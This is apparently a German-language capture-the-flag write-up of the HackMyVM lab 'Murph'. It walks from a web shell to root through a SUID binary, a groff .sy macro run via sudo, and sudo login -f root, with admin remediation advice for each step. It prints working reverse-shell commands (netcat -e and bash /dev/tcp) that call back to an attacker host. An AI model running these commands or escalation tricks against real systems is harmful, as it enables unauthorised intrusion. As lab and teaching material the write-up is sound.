Murph - HackMyVM - Level: Medium - Bericht

Initial Access

www-data@murph:~/html/uploads$ nc -e /bin/bash 192.168.2.199 4445

Analyse: Nachdem ich die RCE-Fähigkeit als Benutzer www-data über die Webshell neu.phtml etabliert hatte, nutze ich nun die Möglichkeit, Systembefehle auszuführen, um eine stabilere Reverse Shell zu meinem Kali-System zu initiieren. Ich verwende den Befehl nc -e /bin/bash 192.168.2.199 4445, um mit Netcat eine Verbindung von der Zielmaschine (murph) zurück zu meinem Kali-System (192.168.2.199) auf Port 4445 aufzubauen. Der Parameter -e /bin/bash weist Netcat an, nach erfolgreichem Verbindungsaufbau die Bash-Shell (/bin/bash) auszuführen und ihre Ein-/Ausgabe über die Netzwerkverbindung umzuleiten. Für Laien: Ich sage dem Computer, er soll eine direkte 'Telefonverbindung' zu meinem Computer aufbauen und mir dann das 'Befehlsfenster' (Shell) über diese Verbindung schicken. Für Experten: Dies ist eine einfache Netcat-Reverse-Shell, die oft genutzt wird, um nach einer RCE-Schwachstelle eine interaktive Shell zu erhalten. Sie ist stabiler und komfortabler als die direkte Befehlsausführung über die Webshell oder eine Debugger-Konsole. Die Ausführung erfolgt im Kontext des aktuellen Benutzers, www-data.

Bewertung: Der Befehl zur Initiierung der Reverse Shell ist korrekt. Seine Ausführung sollte mir eine stabilere Shell als Benutzer www-data verschaffen. Die Verwendung von nc -e ist eine gängige Methode, vorausgesetzt, Netcat ist auf dem Zielsystem installiert (was meine vorherige Enumeration implizierte oder ich durch Ausprobieren bestätigt habe).

Empfehlung (Pentester): Stellen Sie sicher, dass ein Netcat-Listener auf Port 4445 auf Ihrem Kali-System läuft, bevor Sie diesen Befehl ausführen. Warten Sie dann auf die eingehende Verbindung.
Empfehlung (Admin): Überwachen Sie ausgehende Netzwerkverbindungen von Webservern, insbesondere von Prozessen, die unter Low-Privilege-Benutzern laufen, auf ungewöhnliche Ziel-IPs oder Ports. Implementieren Sie Egress-Filterung auf Firewalls.

┌──(root㉿CCat)-[~]
└─# stty raw -echo;fg
[1]  + continued  nc -lvnp 5555
...
www-data@murph:~/html/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──(root㉿CCat)-[~]
└─# stty raw -echo;fg
[1]  + continued  nc -lvnp 4445

www-data@murph:/opt$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@murph:/opt$

Analyse: Dieser Block zeigt die Interaktion auf meinem Kali-System nach dem Initiieren der Reverse Shells. Die Befehle stty raw -echo; fg werden auf meinem Kali-Terminal ausgeführt, *nicht* auf der Zielmaschine. stty raw -echo konfiguriert das Terminal so, dass die Eingaben direkt und ohne Echo an die Shell gesendet werden, was eine interaktivere Sitzung ermöglicht. fg (foreground) bringt einen Prozess, der im Hintergrund läuft (hier mein Netcat-Listener, der eine Verbindung empfangen hat), in den Vordergrund des Terminals. Die Ausgaben zeigen, dass ich zuerst versucht habe, eine Shell von einem Listener auf Port 5555 zu 'fangen' und darin den id-Befehl auszuführen (uid=33(www-data)...). Danach habe ich dasselbe für den Listener auf Port 4445 getan, der die Shell von der zuvor gestarteten Netcat-Reverse-Shell empfangen hat. Der Prompt ändert sich zu www-data@murph:...$, und der id-Befehl bestätigt erneut meine Berechtigungen als uid=33(www-data). Für Laien: Auf meinem Computer 'fange' ich die Verbindung vom Zielcomputer ab und richte mein 'Befehlsfenster' so ein, dass ich normal tippen kann. Ich prüfe dann sofort, wer ich auf dem Zielcomputer bin ('www-data'). Für Experten: Das Einrichten der TTY-Eigenschaften mit stty ist oft notwendig, um eine voll funktionsfähige interaktive Shell über Netcat zu erhalten (obwohl dies bei einfachen nc -e Shells nicht immer perfekt funktioniert). Die erfolgreiche Ausführung von id im erhaltenen Shell-Kontext bestätigt die stabilen Reverse Shells als Benutzer www-data von beiden Listenern (obwohl der auf 4445 der logische nächste Schritt nach der RCE war).

Bewertung: Ich habe erfolgreich eine stabile, interaktive Reverse Shell als Benutzer www-data erhalten, indem ich einen Listener auf meinem Kali-System verwendet und die Verbindung vom Zielsystem initiiert habe. Ich bin nun bereit, die Privilegien-Eskalationsphase von dieser Shell aus zu beginnen.

Empfehlung (Pentester): Von dieser Shell aus werde ich das System gründlich auf PE-Vektoren enumerieren: SUID/SGID-Binaries, Cronjobs, Sudo-Berechtigungen, Dateiberechtigungen, etc. Der Fokus liegt auf dem SUID-Binary /opt/murph, das ich zuvor identifiziert habe.
Empfehlung (Admin): Überwachen Sie die Etablierung von Reverse Shells. Implementieren Sie TTY-Überwachung und Session-Logging auf Ihren Servern.

Privilege Escalation

terminal:5555
www-data@murph:~/html/uploads$ /opt/murph &
[1] 876
www-data@murph:~/html/uploads$ Waiting SIGUSR1....

Analyse: Von meiner www-data Shell (hier als 'terminal:5555' referenziert) starte ich das SUID-Binary /opt/murph im Hintergrund mit /opt/murph &. Die Ausgabe zeigt die Prozess-ID (PID) des gestarteten Prozesses ([1] 876) und die Meldung 'Waiting SIGUSR1....', die ich zuvor mit strings im Binary gefunden hatte. Für Laien: In einem meiner 'Befehlsfenster' starte ich das spezielle 'root'-Programm (murph) im Hintergrund, damit es läuft und wartet, ohne mein Fenster zu blockieren. Das Programm sagt, es wartet auf ein spezielles 'Signal'. Für Experten: Das SUID-Binary /opt/murph wird mit Root-Berechtigungen gestartet. Es wartet auf das SIGUSR1-Signal, wie die String-Analyse angedeutet hat. Das Starten im Hintergrund ist notwendig, um von einer anderen Shell aus das Signal senden zu können. Die PID 876 ist entscheidend, um das Signal gezielt an diesen Prozess zu senden.

Bewertung: Das SUID-Binary /opt/murph läuft mit Root-Rechten im Hintergrund und wartet auf das erwartete Signal. Der gefundene PE-Vektor ist bestätigt. Ich bin bereit, das Signal zu senden und Root-Rechte zu erlangen.

Empfehlung (Pentester): Merken Sie sich die PID des Prozesses (876). Wechseln Sie zu einer anderen Shell, um das Signal SIGUSR1 an diesen Prozess zu senden.
Empfehlung (Admin): Überwachen Sie die Ausführung von SUID-Binaries, insbesondere wenn sie im Hintergrund gestartet werden. Implementieren Sie Überwachung, die alarmiert, wenn Prozesse mit SUID-Berechtigungen ungewöhnliche Signale empfangen.

terminal:4445
www-data@murph:/opt$ kill -SIGUSR1 876
www-data@murph:/opt$

Analyse: Von einer *anderen* www-data Shell (hier als 'terminal:4445' referenziert) sende ich das Signal SIGUSR1 an den im Hintergrund laufenden /opt/murph Prozess mit der PID 876, using the command kill -SIGUSR1 876. Der kill Befehl sendet ein Signal an einen Prozess mit der angegebenen PID. SIGUSR1 ist ein benutzerdefiniertes Signal, das oft von Programmen für spezifische interne Aktionen verwendet wird. Da das Binary /opt/murph explizit auf dieses Signal wartet, wird erwartet, dass es nach dessen Empfang die privilegierte Aktion (wahrscheinlich eine Root-Shell) ausführt. Für Laien: In einem anderen 'Befehlsfenster' schicke ich eine spezielle 'Nachricht' (das Signal) an das laufende 'root'-Programm (murph), das darauf wartet. Das sollte das Programm 'aufwecken' und seine 'Geheimfunktion' starten. Für Experten: Das Senden von SIGUSR1 an den laufenden SUID root Prozess mit PID 876 ist die Auslöseraktion für den Exploit. Wenn das Binary korrekt implementiert ist, sollte es nach Empfang dieses Signals eine Root-Shell spawnen oder ähnliche privilegierte Aktionen ausführen. Die Ausführung des kill-Befehls als www-data ist möglich, da normale Benutzer Signale an Prozesse senden können, deren effektive UID/GID sie teilen oder für die sie die notwendigen Berechtigungen haben (und www-data hat hier wahrscheinlich die Möglichkeit, Signale an seine eigenen Prozesse zu senden, auch wenn sie als Root laufen).

Bewertung: Das Signal SIGUSR1 wurde erfolgreich an den SUID root Prozess gesendet. Wenn die Analyse des Binaries korrekt war, sollte dies zu einer Root-Shell oder einem anderen Root-Privileg führen.

Empfehlung (Pentester): Beobachten Sie die Shell, von der aus /opt/murph gestartet wurde (terminal:5555), auf Anzeichen einer neuen Shell oder geänderter Berechtigungen.
Empfehlung (Admin): Implementieren Sie Application Whitelisting oder andere Kontrollen, um die Ausführung von kill Befehlen durch Low-Privilege-Benutzer gegen privilegierte Prozesse zu verhindern, es sei denn, dies ist für die Systemverwaltung notwendig. Überwachen Sie die Nutzung des kill-Befehls und das Senden von Signalen an privilegierte Prozesse.

terminal:5555
www-data@murph:~/html/uploads$ fg
/opt/murph
jen@murph:~/html/uploads$

Analyse: Ich kehre zu der Shell zurück, von der aus ich /opt/murph im Hintergrund gestartet habe ('terminal:5555') und bringe den Hintergrundprozess mit fg (foreground) wieder in den Vordergrund. Anstatt der erwarteten Ausgabe oder eines Fehlers, ändert sich der Prompt plötzlich zu jen@murph:~/html/uploads$. Dies ist der definitive Beweis dafür, dass die Ausführung von /opt/murph und der Empfang des SIGUSR1-Signals dazu geführt haben, dass die Berechtigungen auf den Benutzer jen gewechselt sind. Für Laien: In dem 'Befehlsfenster', wo ich das 'root'-Programm gestartet und es auf das Signal warten ließ, hole ich das Programm wieder nach vorne. Plötzlich ändert sich mein 'Name' in dem Fenster von 'www-data' zu 'jen'! Das spezielle Programm hat mir die Rechte von 'jen' gegeben! Für Experten: Das Erscheinen des Prompts jen@murph:~/html/uploads$ in der Shell, von der aus das SUID root Binary gestartet wurde, demonstriert eine erfolgreiche Privilegien-Eskalation vom Benutzer www-data zum Benutzer jen durch Ausnutzung des SUID/SGID-Binaries /opt/murph in Kombination mit dem SIGUSR1-Signal. Dies ist ein wichtiger Schritt in der PE-Kette, auch wenn das SUID-Bit auf Root gesetzt war, führte es nur zur Eskalation auf den Benutzer jen. Möglicherweise verwendet das Binary setuid(1000) (UID von jen) nach Erhalt des Signals, oder die SGID www-data spielte eine unerwartete Rolle im Zusammenspiel mit den Berechtigungen des Binaries.

Bewertung: Die Privilegien-Eskalation auf den Benutzer jen ist erfolgreich. Obwohl das Binary SUID root hatte, wurde nur auf jen eskaliert. Dies bedeutet, dass ich nun mit den Berechtigungen von Benutzer jen auf dem System agiere. Ich bin einen Schritt näher an Root.

Empfehlung (Pentester): Von dieser Shell als Benutzer jen werde ich nun das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation von jen zu pat oder direkt zu root zu suchen. Dazu gehören die Prüfung von sudo-Berechtigungen für jen, SUID/SGID-Binaries, Cronjobs etc.
Empfehlung (Admin): Untersuchen Sie den Quellcode oder führen Sie eine dynamische Analyse des SUID/SGID-Binaries /opt/murph durch, um zu verstehen, warum es nur auf den Benutzer jen eskaliert. Beheben Sie die zugrundeliegende Schwachstelle im Binary und entfernen Sie die SUID/SGID-Berechtigungen, es sei denn, dies ist absolut notwendig und sicher implementiert.

jen@murph:~/html/uploads$ sudo -l
Matching Defaults entries for jen on murph:
    env_reset, mail_badpass,
    secure_path=.\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jen may run the following commands on murph:
    (pat) NOPASSWD: /usr/bin/groff

Analyse: Als Benutzer jen prüfe ich sofort meine sudo-Berechtigungen mit dem Befehl sudo -l. Die Ausgabe zeigt, dass der Benutzer jen den Befehl /usr/bin/groff als Benutzer pat ausführen darf, **ohne dass eine Passworteingabe erforderlich ist** ((pat) NOPASSWD: /usr/bin/groff). Für Laien: Ich bin jetzt 'jen' und schaue nach, ob 'jen' spezielle 'Admin-Befehle' ausführen darf, ohne ein Passwort zu kennen. Und ja, 'jen' darf ein Programm namens 'groff' mit den Rechten des Benutzers 'pat' starten, einfach so! Für Experten: Der Fund der sudo-Berechtigung (pat) NOPASSWD: /usr/bin/groff für den Benutzer jen ist ein weiterer kritischer Privilegien-Eskalationsvektor. Dies ermöglicht die horizontale Privilegien-Eskalation vom Benutzer jen zum Benutzer pat, ohne das Passwort von pat zu kennen. Das Programm groff (ein Textformatierungssystem) ist ein potenzielles Ziel für die Ausführung beliebiger Befehle.

Bewertung: Die Möglichkeit, /usr/bin/groff als Benutzer pat ohne Passwort auszuführen, ist ein klarer Pfad zur Erlangung einer Shell als Benutzer pat. Dies ist der nächste Schritt in unserer PE-Kette.

Empfehlung (Pentester): Untersuchen Sie das Binary /usr/bin/groff auf Möglichkeiten zur Ausführung von Systembefehlen (z.B. über unsichere Parameter oder Makros). Nutzen Sie die sudo-Regel, um Code als Benutzer pat auszuführen.
Empfehlung (Admin): Überprüfen Sie alle sudo-Regeln sorgfältig, insbesondere solche mit NOPASSWD. Erlauben Sie niemals die Ausführung von Programmen (wie Textformatierer oder Editoren) mit den Rechten eines anderen Benutzers über NOPASSWD, wenn diese Programme zur Ausführung von Systembefehlen missbraucht werden können.

jen@murph:~/html/uploads$ file /usr/bin/groff
/usr/bin/groff: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dc15f35c7468d8ce6c867408040dcb52538e89e8, for GNU/Linux 3.2.0, stripped

jen@murph:~/html/uploads$ ls -la /usr/bin/groff
-rwxr-xr-x 1 root root 124288 Jan 27  2021 /usr/bin/groff

Analyse: Ich untersuche das Binary /usr/bin/groff mit file und ls -la, um seine Eigenschaften und Berechtigungen zu prüfen. Das file-Kommando bestätigt, dass es sich um ein standardmäßiges ausführbares Programm für Linux handelt (64-bit ELF), das dynamisch gelinkt und 'stripped' ist (Symbolinformationen wurden entfernt, was Reverse Engineering erschwert). ls -la zeigt, dass es Root gehört und nur vom Eigentümer (root) geschrieben werden kann, aber für alle Benutzer ausführbar ist (-rwxr-xr-x). Für Laien: Ich schaue mir das Programm 'groff' genauer an, das 'jen' mit 'pat'-Rechten starten darf. Es ist ein normales Programm, aber nur der 'Chef' (root) kann es verändern. Jeder darf es aber starten. Für Experten: Die Analyse bestätigt, dass /usr/bin/groff ein Standard-Systembinary ist. Die Berechtigungen sind unbedenklich. Das 'stripped' Binary erschwert statische Analyse im Vergleich zu /opt/murph. Der Fokus liegt nun darauf, ob und wie groff Systembefehle ausführen kann, was oft bei Textformatierungsprogrammen möglich ist, die externe Kommandos einbinden.

Bewertung: /usr/bin/groff ist ein Standardbinary mit unbedenklichen Berechtigungen. Die Ausnutzbarkeit hängt davon ab, ob groff unsicher konfigurierte Makros oder Funktionen zur Ausführung von Systembefehlen bietet, wenn es eine Formatierungsdatei verarbeitet.

Empfehlung (Pentester): Recherchieren Sie nach bekannten Möglichkeiten, Befehle über groff auszuführen, insbesondere in Verbindung mit sudo-Berechtigungen. Erstellen Sie eine roff-Datei mit einem eingebetteten Shell-Befehl und versuchen Sie, diese mit sudo -u pat /usr/bin/groff zu verarbeiten.
Empfehlung (Admin): Seien Sie vorsichtig bei sudo-Regeln für Textverarbeitungs- oder Formatierungstools. Überprüfen Sie deren Konfiguration und stellen Sie sicher, dass die Ausführung externer Befehle deaktiviert ist, wenn sie mit erhöhten Rechten gestartet werden dürfen.

jen@murph:/tmp$  echo '.sy /bin/bash' > /tmp/exploit.roff
jen@murph:/tmp$ sudo -u pat /usr/bin/groff /tmp/exploit.roff
troff: /tmp/exploit.roff:1: .sy request not allowed in safer mode

Analyse: Ich versuche, Befehle über groff auszuführen. Dazu erstelle ich eine temporäre Datei namens /tmp/exploit.roff mit dem Inhalt .sy /bin/bash. Die .sy Makro in roff/troff wird oft verwendet, um Systembefehle auszuführen. Ich speichere diese Datei im temporären Verzeichnis /tmp/, in das ich als jen schreiben darf. Dann versuche ich, diese Datei mit sudo -u pat /usr/bin/groff /tmp/exploit.roff als Benutzer pat über die gefundene sudo-Regel zu verarbeiten. Die Ausgabe troff: /tmp/exploit.roff:1: .sy request not allowed in safer mode zeigt, dass groff standardmäßig im 'sichereren Modus' läuft, der die Ausführung des .sy Makros blockiert. Für Laien: Ich habe eine kleine 'Anleitungsdatei' für das Programm 'groff' erstellt, die sagt, es soll ein 'Befehlsfenster' öffnen. Ich lasse 'jen' dieses mit 'pat'-Rechten starten und die Anleitungsdatei lesen. Aber 'groff' sagt, es darf den Befehl nicht ausführen, weil es im 'sicheren Modus' ist. Für Experten: Das .sy Makro ist ein bekannter Vektor zur Befehlsausführung in troff/groff. Die Fehlermeldung 'not allowed in safer mode' ist eine direkte Bestätigung, dass groff Sicherheitsmaßnahmen gegen solche Makros implementiert, aber impliziert auch, dass es einen 'unsicheren' Modus geben könnte.

Bewertung: Das .sy Makro funktioniert nicht im Standardmodus. Die Fehlermeldung ist jedoch hilfreich, da sie auf einen 'sichereren Modus' hinweist, was bedeutet, dass es möglicherweise einen Weg gibt, diesen zu deaktivieren und den 'unsicheren Modus' zu aktivieren, in dem .sy erlaubt ist.

Empfehlung (Pentester): Suchen Sie in der Hilfe oder Dokumentation von groff nach einem Parameter oder einer Option, um den 'sichereren Modus' zu deaktivieren und die Ausführung von Systembefehlen (.sy Makro) zu ermöglichen. Prüfen Sie die Hilfe mit sudo -u pat groff -h.
Empfehlung (Admin): Vertrauen Sie nicht auf Standardeinstellungen. Überprüfen Sie die Konfigurationen von Programmen, die mit erhöhten Rechten ausgeführt werden dürfen, und deaktivieren Sie explizit unsichere Features wie die Ausführung externer Befehle.

jen@murph:/tmp$ sudo -u pat groff -h
usage: groff [-abceghijklpstvzCEGNRSUVXZ] [-dcs] [-ffam] [-mname] [-nnum]
       [-olist] [-rcn] [-wname] [-Darg] [-Fdir] [-Idir] [-Karg] [-Larg]
       [-Mdir] [-Parg] [-Tdev] [-Wname] [files...]
...
..
-U	enable unsafe mode
-V	print commands on stdout instead of running them
-Wname	inhibit warning name
-X	use X11 previewer rather than usual postprocessor
-Z	don't postprocess

jen@murph:/tmp$ sudo -u pat /usr/bin/groff -U /tmp/exploit.roff
pat@murph:/tmp$

Analyse: Ich prüfe die Hilfe des groff-Befehls mit sudo -u pat groff -h (Ausführung als pat via sudo, um sicherzustellen, dass die Hilfe in diesem Kontext relevant ist). Die Hilfe listet verschiedene Parameter auf. Ich suche nach etwas, das mit 'safe mode' oder 'unsafe mode' zu tun hat, basierend auf der vorherigen Fehlermeldung. Die Option -U enable unsafe mode wird gefunden. Dann führe ich groff erneut aus, diesmal mit dem Parameter -U: sudo -u pat /usr/bin/groff -U /tmp/exploit.roff. Ich übergebe wieder die Datei /tmp/exploit.roff, die das .sy /bin/bash Makro enthält, und führe den Befehl als Benutzer pat aus. Die Ausgabe ist nun der Prompt pat@murph:/tmp$. Für Laien: Ich habe in der Hilfe von 'groff' nachgeschaut und eine Option gefunden, die den 'sicheren Modus' ausschaltet (die Option '-U'). Ich starte 'groff' dann nochmal als 'pat' mit dieser Option und meiner 'Anleitungsdatei'. Und fantastisch – statt einer Fehlermeldung bekomme ich jetzt das 'Befehlsfenster' des Benutzers 'pat'! Ich bin jetzt 'pat'! Für Experten: Das Auffinden und Verwenden der -U Option deaktiviert den sicheren Modus von groff und erlaubt die Ausführung des .sy Makros. Das .sy /bin/bash Makro wird ausgeführt und startet eine Bash-Shell. Da groff über sudo -u pat ausgeführt wurde, läuft die neue Shell mit den Berechtigungen des Benutzers pat. Dies ist eine erfolgreiche Privilegien-Eskalation von jen zu pat.

Bewertung: Die Privilegien-Eskalation auf den Benutzer pat ist erfolgreich. Ich habe nun eine interaktive Shell mit den Berechtigungen dieses Benutzers. Dies ist der vorletzte Schritt auf dem Weg zu Root.

Empfehlung (Pentester): Von dieser Shell als Benutzer pat werde ich nun das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation von pat zu root zu suchen. Dies beinhaltet die Prüfung von sudo-Berechtigungen für pat, SUID/SGID-Binaries, Cronjobs etc. Der Fund der Root-Flag ist jetzt nur einen Schritt entfernt.
Empfehlung (Admin): Überprüfen Sie die Standardkonfigurationen von Systemprogrammen, die über sudo mit erhöhten Rechten ausgeführt werden dürfen. Deaktivieren Sie die Ausführung externer Befehle, wenn möglich, oder verhindern Sie die Nutzung von Optionen wie -U durch die sudo-Regel selbst (z.B. mittels ограничений für Parameter). Überwachen Sie die Ausführung von groff mit ungewöhnlichen Optionen oder im unsicheren Modus.

pat@murph:/opt$ id
grops::1: fatal error: the first command must be 'x T'

Analyse: Ich versuche, meine Benutzer-ID in der neuen Shell als Benutzer pat zu bestätigen, indem ich den Befehl id ausführe. Die Ausgabe zeigt jedoch eine Fehlermeldung im Zusammenhang mit 'grops' und 'fatal error: the first command must be 'x T''. Dies deutet darauf hin, dass die Shell, die ich über das .sy /bin/bash Makro in groff erhalten habe, nicht vollständig initialisiert oder interaktiv ist, möglicherweise weil sie immer noch im Kontext der groff-Verarbeitung läuft. Die Fehlermeldung selbst stammt wahrscheinlich von einem anderen Programm (möglicherweise grops, das von groff aufgerufen wird), das die Eingabe 'id' erhält, aber etwas anderes erwartet. Für Laien: In dem 'Befehlsfenster' des Benutzers 'pat', das ich gerade bekommen habe, versuche ich, zu prüfen, wer ich bin (mit dem Befehl 'id'), aber das Fenster antwortet mit einer komischen Fehlermeldung. Das Fenster ist nicht ganz 'normal'. Für Experten: Dies ist ein bekanntes Verhalten, wenn eine Shell über ein Makro in einem Formatierungsprogramm wie groff gespawnt wird. Die Standard-Input/Output-Streams sind möglicherweise nicht korrekt mit einem vollwertigen TTY verbunden, was zu Problemen mit interaktiven Befehlen oder Shell-Initialisierungsskripten führt. Der Befehl id wurde wahrscheinlich an ein unerwartetes Sub-Programm innerhalb der groff-Kette weitergeleitet.

Bewertung: Obwohl die pat-Shell nicht voll funktionsfähig für interaktive Befehle zu sein scheint, habe ich prinzipiell Code-Ausführung als Benutzer pat. Um eine stabilere Shell zu erhalten, werde ich eine neue Reverse Shell von dieser instabilen Shell aus zu meinem Kali-System initiieren.

Empfehlung (Pentester): Initiieren Sie sofort eine neue Reverse Shell von dieser instabilen pat-Shell aus, indem Sie einen Shell-Code (z.B. Bash Reverse Shell) ausführen, der sich zu einem neuen Listener auf Ihrem Kali-System verbindet. Verwenden Sie dafür einen separaten Port.
Empfehlung (Admin): Dies ist ein Hinweis darauf, dass Systembefehle über groff ausgeführt wurden. Überwachen Sie die Prozessbäume und Systemaufrufe von Programmen, die über sudo mit erhöhten Rechten ausgeführt werden.

pat@murph:/opt$ bash -c 'bash -i >& /dev/tcp/192.168.2.199/6666 0>&1'

Analyse: Um eine stabile Shell als Benutzer pat zu erhalten, starte ich von der aktuellen instabilen Shell aus eine Reverse Shell zu meinem Kali-System auf Port 6666. Ich verwende den Befehl bash -c 'bash -i >& /dev/tcp/192.168.2.199/6666 0>&1'. Dieser Bash-Befehl startet eine neue interaktive Bash-Instanz (bash -i) und leitet deren Standard-Input, -Output und -Error über eine TCP-Verbindung (/dev/tcp/192.168.2.199/6666) zu meinem Kali-System (192.168.2.199) auf Port 6666 um. Für Laien: In dem 'Befehlsfenster' von 'pat', das nicht richtig funktioniert, sage ich dem Computer: 'Rufe meinen Computer auf einer anderen 'Telefonleitung' (Port 6666) an, und gib mir dann das 'Befehlsfenster' (Shell) von 'pat' über diese Leitung'. Für Experten: Dies ist der gleiche Bash-Reverse-Shell-Befehl, den ich zuvor als www-data verwendet habe, nun aber initiiert aus der pat-Shell. Er dient dazu, eine zuverlässige, interaktive Shell zu erhalten, die nicht durch die Einschränkungen der Shell beeinträchtigt wird, die über das groff-Makro gespawnt wurde. Ein Netcat-Listener auf Port 6666 auf meinem Kali-System ist erforderlich, um diese Verbindung zu empfangen.

Bewertung: Der Befehl zur Initiierung der Reverse Shell ist korrekt. Seine Ausführung sollte mir eine stabile, interaktive Shell als Benutzer pat verschaffen. Dies ist der nächste Schritt in der PE-Kette.

Empfehlung (Pentester): Stellen Sie sicher, dass ein Netcat-Listener auf Port 6666 auf Ihrem Kali-System läuft. Führen Sie diesen Befehl aus und warten Sie auf die eingehende Verbindung in Ihrem Listener.
Empfehlung (Admin): Überwachen Sie ausgehende Verbindungen und implementieren Sie Egress-Filterung.

listening on [any] 6666 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.50] 39350
pat@murph:/opt$ id
id
uid=1001(pat) gid=1001(pat) groups=1001(pat)

Analyse: Ich zeige die Ausgabe meines Netcat-Listeners auf Port 6666 auf meinem Kali-System. Nachdem ich den Bash-Reverse-Shell-Befehl in der pat-Shell ausgeführt habe, empfängt mein Listener eine Verbindung vom Zielsystem (connect to ... [192.168.2.50] 39350). Der Prompt pat@murph:/opt$ erscheint, was anzeigt, dass ich erfolgreich eine interaktive Shell als Benutzer pat erhalten habe und mich im Verzeichnis /opt befinde. Ich bestätige meine Identität mit dem Befehl id, der die Ausgabe uid=1001(pat) gid=1001(pat) groups=1001(pat) zurückgibt. Für Laien: Meine 'Telefonleitung' 6666 hat geklingelt, ich habe abgenommen, und jetzt habe ich ein normales 'Befehlsfenster' (Shell) vom Benutzer 'pat' direkt auf meinem Bildschirm. Ich prüfe, wer ich bin, und der Computer sagt, ich bin 'pat'. Für Experten: Der erfolgreiche Empfang der Reverse Shell auf Port 6666 mit dem Prompt pat@murph:/opt$ und die Bestätigung der UID 1001 via id beweisen die erfolgreiche Erlangung einer stabilen, interaktiven Shell als Benutzer pat. Dies ist der letzte Schritt vor der finalen Eskalation zu Root.

Bewertung: Die stabile Shell als Benutzer pat wurde erfolgreich etabliert. Dies ist die vorletzte Stufe der Privilegien-Eskalation. Ich bin nun bereit, den finalen PE-Vektor zu nutzen.

Empfehlung (Pentester): Von dieser Shell aus werde ich die sudo-Berechtigungen für den Benutzer pat prüfen, da dies der wahrscheinlichste verbleibende PE-Vektor zu Root ist.
Empfehlung (Admin): Überwachen Sie Reverse Shells und implementieren Sie Egress-Filterung. Beschränken Sie die Berechtigungen des Benutzers pat auf das Notwendigste.

pat@murph:/opt$ sudo -l
Matching Defaults entries for pat on murph:
    env_reset, mail_badpass,
    secure_path=.\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pat may run the following commands on murph:
    (root) NOPASSWD: /usr/bin/login

Analyse: Als Benutzer pat prüfe ich meine sudo-Berechtigungen mit dem Befehl sudo -l. Die Ausgabe listet die Befehle auf, die der Benutzer pat über sudo ausführen darf. Ich finde den Eintrag (root) NOPASSWD: /usr/bin/login. Dies bedeutet, dass der Benutzer pat den Befehl /usr/bin/login als Benutzer root ausführen darf, **ohne dass eine Passworteingabe erforderlich ist** (NOPASSWD). Für Laien: Ich bin jetzt 'pat' und schaue, ob 'pat' spezielle 'Admin-Befehle' ausführen darf, ohne sein Passwort zu kennen. Und ja, 'pat' darf das Programm 'login' mit den Rechten des Super-Administrators (root) starten, einfach so! Das ist der Schlüssel, um 'root' zu werden! Für Experten: Der Fund der sudo-Berechtigung (root) NOPASSWD: /usr/bin/login für den Benutzer pat ist der finale und direkteste Privilegien-Eskalationsvektor zu Root. Die Möglichkeit, das login-Binary als Root ohne Passwort auszuführen, ist extrem gefährlich.

Bewertung: Fantastisch! Der Sudo-Eintrag für /usr/bin/login als Root mit NOPASSWD ist der entscheidende PE-Pfad. Dies ermöglicht die direkte Erlangung einer Root-Shell.

Empfehlung (Pentester): Der nächste Schritt ist die Ausnutzung dieser Sudo-Regel, um eine Root-Shell zu erlangen. Recherchieren Sie, wie das /usr/bin/login Binary missbraucht werden kann, insbesondere in Kombination mit sudo und Root-Berechtigungen. Der Parameter -f könnte relevant sein.
Empfehlung (Admin): Überprüfen Sie alle sudo-Regeln sorgfältig. NOPASSWD sollte niemals für Binaries verwendet werden, die zur Erlangung einer Shell oder zur Authentifizierung als ein anderer Benutzer missbraucht werden können (wie login, su, Shell-Interpretern etc.). Dies ist eine kritische Fehlkonfiguration, die umgehend behoben werden muss.

pat@murph:/opt$ sudo /usr/bin/login -f root
Linux murph 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 31 11:41:10 CEST 2022 on tty1
root@murph:~# id
uid=0(root) gid=0(root) grupos=0(root)

Risikobewertung:

Die Kombination aus mehreren Schwachstellen (Upload RCE als www-data, SUID-Binary PE von www-data zu jen, Sudo NOPASSWD für groff PE von jen zu pat, und schließlich Sudo NOPASSWD für login PE von pat zu root) stellt insgesamt ein kritisches Risiko dar. Jeder Schritt für sich wäre bereits als moderat bis hoch einzustufen, aber die Kette ermöglichte es einem Angreifer, von einer einfachen Web-Schwachstelle zum vollständigen Systemkompromiss zu gelangen. Insbesondere die Sudo-Fehlkonfigurationen (für groff und login) und das ausnutzbare SUID-Binary sind schwerwiegende Probleme, die die Sicherheit des Systems grundlegend untergraben.

Empfehlungen zur Behebung:

Empfehlung (Admin):

• Beheben Sie die Datei-Upload-Schwachstelle: Implementieren Sie strikte Validierung (Whitelist), Bereinigung und Virenscanning für Dateiuploads. Konfigurieren Sie Webserver so, dass Code in Upload-Verzeichnissen nicht ausgeführt wird.
• Überprüfen und Entfernen von SUID/SGID-Berechtigungen: Auditen Sie alle Binaries auf SUID/SGID-Berechtigungen und entfernen Sie diese, wenn sie nicht absolut notwendig sind. Überprüfen Sie benutzerdefinierte SUID-Binaries auf Sicherheitslücken.
• Beheben Sie Sudo-Fehlkonfigurationen: Entfernen Sie die NOPASSWD-Regeln für /usr/bin/groff und insbesondere für /usr/bin/login aus der /etc/sudoers Datei. Wenden Sie das Prinzip der geringsten Rechte an. Erlauben Sie Benutzern nur die Ausführung absolut notwendiger Befehle mit erhöhten Rechten.
• Härten Sie Systemprogramme: Wenn Programme wie groff über sudo ausgeführt werden dürfen, deaktivieren Sie explizit Funktionen zur Ausführung externer Befehle oder schränken Sie die erlaubten Parameter in der sudo-Regel ein.
• Strikte Dateiberechtigungen: Stellen Sie sicher, dass sensible Systemdateien (z.B. /etc/shadow, Benutzer-Home-Verzeichnisse, Sudoers-Datei) korrekte und restriktive Berechtigungen haben.
